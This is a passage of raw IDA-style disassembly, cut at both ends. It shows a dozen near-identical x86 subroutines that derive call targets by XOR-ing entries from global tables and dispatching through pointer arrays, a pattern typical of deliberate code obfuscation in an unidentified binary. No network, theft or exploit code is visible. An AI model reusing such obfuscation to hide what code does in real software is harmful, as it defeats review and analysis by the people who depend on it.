4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A7C5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A7D5C proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED964o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 1Eh mov [ebp+var_2C], 0CEh mov [ebp+var_28], 1Dh mov [ebp+var_24], 0BFh mov [ebp+var_20], 88h mov [ebp+var_1C], 0E8h mov [ebp+var_18], 87h mov [ebp+var_14], 40h mov [ebp+var_10], 1 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 1 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A7DEC mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A7DEC: ; CODE XREF: sub_4A7D5C+7Dj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A7D5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A7E58 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED968o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 7Dh mov [ebp+var_2C], 0DBh mov [ebp+var_28], 0B4h mov [ebp+var_24], 0Eh mov [ebp+var_20], 0C5h mov [ebp+var_1C], 0B1h mov [ebp+var_18], 0F5h mov [ebp+var_14], 33h mov [ebp+var_10], 5 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 5 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A7EE9 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A7EE9: ; CODE XREF: sub_4A7E58+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A7E58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A7F55 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED96Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 7Eh mov [ebp+var_2C], 2Dh mov [ebp+var_28], 1Ch mov [ebp+var_24], 0 mov [ebp+var_20], 98h mov [ebp+var_1C], 58h mov [ebp+var_18], 0DDh mov [ebp+var_14], 0AFh mov [ebp+var_10], 8 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 8 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A7FE6 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A7FE6: ; CODE XREF: sub_4A7F55+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A7F55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A8052 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED970o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 4Fh mov [ebp+var_2C], 88h mov [ebp+var_28], 1Fh mov [ebp+var_24], 0BFh mov [ebp+var_20], 0AFh mov [ebp+var_1C], 0F1h mov [ebp+var_18], 0D1h mov [ebp+var_14], 11h mov [ebp+var_10], 0Bh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Bh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A80E3 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A80E3: ; CODE XREF: sub_4A8052+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A8052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A814F proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED974o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 6Eh mov [ebp+var_2C], 43h mov [ebp+var_28], 8Eh mov [ebp+var_24], 0ACh mov [ebp+var_20], 40h mov [ebp+var_1C], 92h mov [ebp+var_18], 8Eh mov [ebp+var_14], 3Bh mov [ebp+var_10], 6 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 6 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A81E0 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A81E0: ; CODE XREF: sub_4A814F+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A814F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A824C proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED978o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 3Ch mov [ebp+var_2C], 7Fh mov [ebp+var_28], 0BAh mov [ebp+var_24], 47h mov [ebp+var_20], 0C5h mov [ebp+var_1C], 0AEh mov [ebp+var_18], 93h mov [ebp+var_14], 0F9h mov [ebp+var_10], 0Bh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Bh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A82DD mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A82DD: ; CODE XREF: sub_4A824C+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A824C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A8349 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED97Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 58h mov [ebp+var_2C], 0CBh mov [ebp+var_28], 33h mov [ebp+var_24], 0D2h mov [ebp+var_20], 1Bh mov [ebp+var_1C], 67h mov [ebp+var_18], 0B2h mov [ebp+var_14], 0A7h mov [ebp+var_10], 8 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 8 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A83DA mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A83DA: ; CODE XREF: sub_4A8349+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A8349 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A8446 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED980o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0F2h mov [ebp+var_2C], 0CDh mov [ebp+var_28], 5Eh mov [ebp+var_24], 0F4h mov [ebp+var_20], 0C1h mov [ebp+var_1C], 85h mov [ebp+var_18], 73h mov [ebp+var_14], 80h mov [ebp+var_10], 5 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 5 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A84D7 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A84D7: ; CODE XREF: sub_4A8446+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A8446 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A8543 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED984o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 1Bh mov [ebp+var_2C], 0CEh mov [ebp+var_28], 95h mov [ebp+var_24], 0B9h mov [ebp+var_20], 96h mov [ebp+var_1C], 0B2h mov [ebp+var_18], 0D1h mov [ebp+var_14], 32h mov [ebp+var_10], 5 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 5 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A85D4 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A85D4: ; CODE XREF: sub_4A8543+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A8543 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A8640 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED988o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0B6h mov [ebp+var_2C], 1Dh mov [ebp+var_28], 7Fh mov [ebp+var_24], 4 mov [ebp+var_20], 0B9h mov [ebp+var_1C], 0C2h mov [ebp+var_18], 0CFh mov [ebp+var_14], 0B1h mov [ebp+var_10], 0Ah mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Ah and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A86D1 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A86D1: ; CODE XREF: sub_4A8640+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A8640 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A873D proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED98Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 6Dh mov [ebp+var_2C], 46h mov [ebp+var_28], 0CEh mov [ebp+var_24], 94h mov [ebp+var_20], 94h mov [ebp+var_1C], 62h mov [ebp+var_18], 19h mov [ebp+var_14], 0DBh mov [ebp+var_10], 11h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 11h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A87CE mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A87CE: ; CODE XREF: sub_4A873D+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A873D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A883A proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED990o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 72h mov [ebp+var_2C], 80h mov [ebp+var_28], 0E0h mov [ebp+var_24], 5Bh mov [ebp+var_20], 69h mov [ebp+var_1C], 1Bh mov [ebp+var_18], 0C9h mov [ebp+var_14], 95h mov [ebp+var_10], 0Dh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Dh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A88CB mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A88CB: ; CODE XREF: sub_4A883A+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A883A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A8937 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED994o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 8Ah mov [ebp+var_2C], 7Ah mov [ebp+var_28], 9Ah mov [ebp+var_24], 39h mov [ebp+var_20], 4Bh mov [ebp+var_1C], 0ACh mov [ebp+var_18], 0C5h mov [ebp+var_14], 0C4h mov [ebp+var_10], 3 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 3 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov 